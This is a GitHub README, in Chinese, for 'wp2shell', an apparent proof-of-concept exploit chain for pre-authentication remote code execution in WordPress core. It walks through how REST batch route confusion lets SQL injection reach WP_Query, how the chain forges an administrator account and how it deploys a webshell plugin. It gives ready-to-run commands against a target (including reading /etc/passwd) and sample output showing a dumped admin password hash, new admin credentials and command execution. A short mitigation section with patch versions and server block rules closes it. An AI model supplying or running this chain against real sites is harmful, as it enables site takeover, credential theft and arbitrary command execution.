c0gnit00/Wp2Shell
GitHub: c0gnit00/Wp2Shell
WordPress 核心身份验证前 RCE 漏洞利用 PoC,串联 REST API 批量路由混淆与 WP_Query SQL 注入实现从探测到 webshell 部署的完整攻击链。
Stars: 0 | Forks: 1
# wp2shell
WordPress Core 的身份验证前远程代码执行。
**CVE-2026-60137**(WP_Query 中的 SQL Injection)与 **CVE-2026-63030**(REST API 批量路由混淆)的漏洞利用链。
## 受影响版本
WordPress 6.9.0 至 6.9.4 以及 7.0.0 至 7.0.1 存在漏洞。
已在 6.9.5 和 7.0.2 中修复。
## 工作原理
该漏洞利用链结合了两个漏洞:
**CVE-2026-63030 — 批量路由混淆。** 位于 `/wp-json/batch/v1`(或 `/?rest_route=/batch/v1`)的 REST API 批量 endpoint 分两个阶段处理子请求:首先将每个路径匹配到对应的处理器,然后通过匹配到的处理器分发每个请求。当一个故意构造的畸形路径(`///`)作为第一个子请求被插入时,WordPress 会在匹配路由数组的索引 0 处存储一个 `WP_Error`。这导致后续所有的处理器分配都向后偏移一个索引。随后,分发循环将每个请求与错误的处理器配对——原本基于 Schema A 验证的请求被 Handler B 执行,从而绕过了 Schema A 所执行的参数清理。
**CVE-2026-60137 — WP_Query 中的 SQL Injection。** 文章集合 endpoint 接受一个 `author_exclude` 参数,其 schema 强制要求整数类型的数组值,并在到达 `WP_Query` 之前使用 `absint()` 对每个元素进行清理。批量处理的不同步导致该参数完全绕过了 schema 验证,并作为原始字符串到达 `WP_Query` 的 `author__not_in` 逻辑。由于 `absint()` 仅在 `is_array()` 分支内部应用,原始字符串被直接插值到 SQL `WHERE` 子句中,从而实现了 `UNION SELECT` 注入。
完整的利用链分为四个步骤进行:
1. 确认 batch endpoint 可达且不同步机制生效。
2. 通过 REST JSON 响应中回显的 `UNION SELECT` 行,提取数据库版本、用户、表前缀和管理员凭据。
3. 通过注入伪造的 `wp_posts` 行来创建新的管理员账户,这些行会污染 oEmbed 缓存并触发 `WP_Customize_Manager` 的变更集发布钩子,进而调用 `wp_insert_user()` 并设置 `role=administrator`。
4. 使用新账户进行身份验证,通过标准的插件上传接口将单文件 PHP 插件作为 zip 压缩包上传,激活它,并通过 shell 执行 OS 命令。
## 环境要求
- Python 3.8 或更高版本
- 无第三方依赖(仅限标准库)
- 具备访问目标 WordPress 实例的网络访问权限
## 安装说明
```
git clone https://github.com/YOUR_USERNAME/Wp2Shell.git
cd Wp2Shell
```
无需进行 pip install。
## 用法
### 完整漏洞利用链
运行全部四个步骤:不同步确认、SQL 侦察、管理员创建和 webshell 部署。每次运行都会创建一个新的管理员账户和插件。
```
python3 exploit.py --url http://TARGET --command "id"
```
```
python3 exploit.py --url http://TARGET --command "uname -a"
```
```
python3 exploit.py --url http://TARGET --command "cat /etc/passwd"
```
针对使用自签名证书的 HTTPS 目标:
```
python3 exploit.py --url https://TARGET --command "id" --insecure
```
### 复用现有 Webshell
在完整利用链运行完成后,脚本会输出一条可直接使用的复用命令,其中预填了部署的凭据和 shell 路径。在后续运行中传入这三个标志,即可完全跳过 SQL 和管理员创建阶段:
```
python3 exploit.py \
--url http://TARGET \
--command "whoami" \
--admin-user wp2_poc_da4d1cf83acb \
--admin-password "Wp2!J47LBKLEbu4ebAJo" \
--prev-webshell-plugin /wp-content/plugins/wp2shell_6c6f62a8/wp2shell_6c6f62a8.php
```
## 命令行参考
```
usage: exploit.py [-h] [--url URL] [--command CMD] [--insecure]
[--admin-user USER] [--admin-password PASS]
[--prev-webshell-plugin PATH]
```
| 标志 | 简写 | 描述 |
|------|-------|-------------|
| `--url` | `-u` | 目标 WordPress 基础 URL。默认:`http://localhost:8080` |
| `--command` | `-c` | 要执行的 OS 命令。默认:`id` |
| `--insecure` | `-k` | 对自签名证书禁用 TLS 证书验证 |
| `--admin-user` | | 复用模式:之前创建的管理员用户名 |
| `--admin-password` | | 复用模式:之前创建的管理员密码 |
| `--prev-webshell-plugin` | | 复用模式:已部署的 webshell 插件的 web 路径 |
这三个标志(`--admin-*` / `--prev-webshell-plugin`)必须同时提供,或者完全不提供。
## 示例输出
### 完整利用链
```
+======================================================================+
| wp2shell -- Pre-Auth RCE PoC (Educational / Research) |
| CVE-2026-60137 (SQLi) + CVE-2026-63030 (Batch Route Confusion) |
+======================================================================+
Target : http://localhost:8080
Command: uname -a
Mode : FULL CHAIN
[STEP 1] Verifying batch endpoint + route-confusion desync
[+] Batch endpoint reachable (HTTP 207)
[+] Route-confusion desync confirmed (markers: block_cannot_read, parse_path_failed, rest_batch_not_allowed)
[STEP 2] UNION SQLi -- database reconnaissance
[+] Database version : 10.11.18-MariaDB-ubu2204
[+] Database user : wpuser@%
[+] Database name : wordpress
[+] Table prefix : wp_
[+] Admin login : admin
[+] Admin hash (phpass) : $wp$2y$10$BSAr2Yyk/...
[+] Admin user ID : 1
[STEP 3] Creating a fresh administrator via oEmbed post-cache poisoning
[*] Seeding oEmbed cache with 3 loopback URLs...
[+] oEmbed cache IDs: [96, 97, 98]
[*] Submitting changeset poison + user creation...
[+] Admin created -- username: wp2_poc_da4d1cf83acb password: Wp2!J47LBKLEbu4ebAJo
[STEP 4] Authenticating + deploying webshell -- running: uname -a
[*] Logging in to wp-admin...
[+] Logged in as administrator
[*] Uploading webshell plugin (slug: wp2shell_6c6f62a8)...
[+] Plugin uploaded
[*] Activating plugin...
[+] Plugin activated
[*] Executing: uname -a
============================================================
COMMAND OUTPUT -- uname -a
============================================================
Linux target 7.0.12+kali-amd64 #1 SMP PREEMPT_DYNAMIC x86_64 GNU/Linux
============================================================
[+] RCE confirmed -- Pre-Auth exploit chain complete
+-- RE-USE HINT ------------------------------------------+
| Skip the full chain next time -- pass these flags: |
+-----------------------------------------------------------+
python3 exploit.py \
--url http://localhost:8080 \
--command 'YOUR_COMMAND' \
--admin-user wp2_poc_da4d1cf83acb \
--admin-password 'Wp2!J47LBKLEbu4ebAJo' \
--prev-webshell-plugin /wp-content/plugins/wp2shell_6c6f62a8/wp2shell_6c6f62a8.php
```
## 缓解措施
立即更新至已修复的版本。
- WordPress 7.0.x:更新至 **7.0.2** 或更高版本 — `wp core update`
- WordPress 6.9.x:更新至 **6.9.5** 或更高版本 — `wp core update --version=6.9.5`
- WordPress 6.8.x:更新至 **6.8.6** 或更高版本 — `wp core update --version=6.8.6`
如果无法立即打补丁,请在 Web 服务器或 WAF 层阻止 batch endpoint 的两种 URL 形式。必须同时阻止这两个路由——仅覆盖固定链接(pretty-permalink)形式的规则会使得查询字符串形式依然处于开放状态:
```
# Nginx
location ~* "^/wp-json/batch" { return 403; }
location ~* "rest_route=/batch" { return 403; }
```
```
# Apache
RewriteRule ^wp-json/batch - [F,L]
RewriteCond %{QUERY_STRING} rest_route=/batch [NC]
RewriteRule ^ - [F,L]
```
或者使用必须使用的(must-use)插件在 WordPress 内部禁用该 endpoint:
```
标签:CISA项目, Web报告查看器, WordPress, 漏洞链, 编程工具, 远程代码执行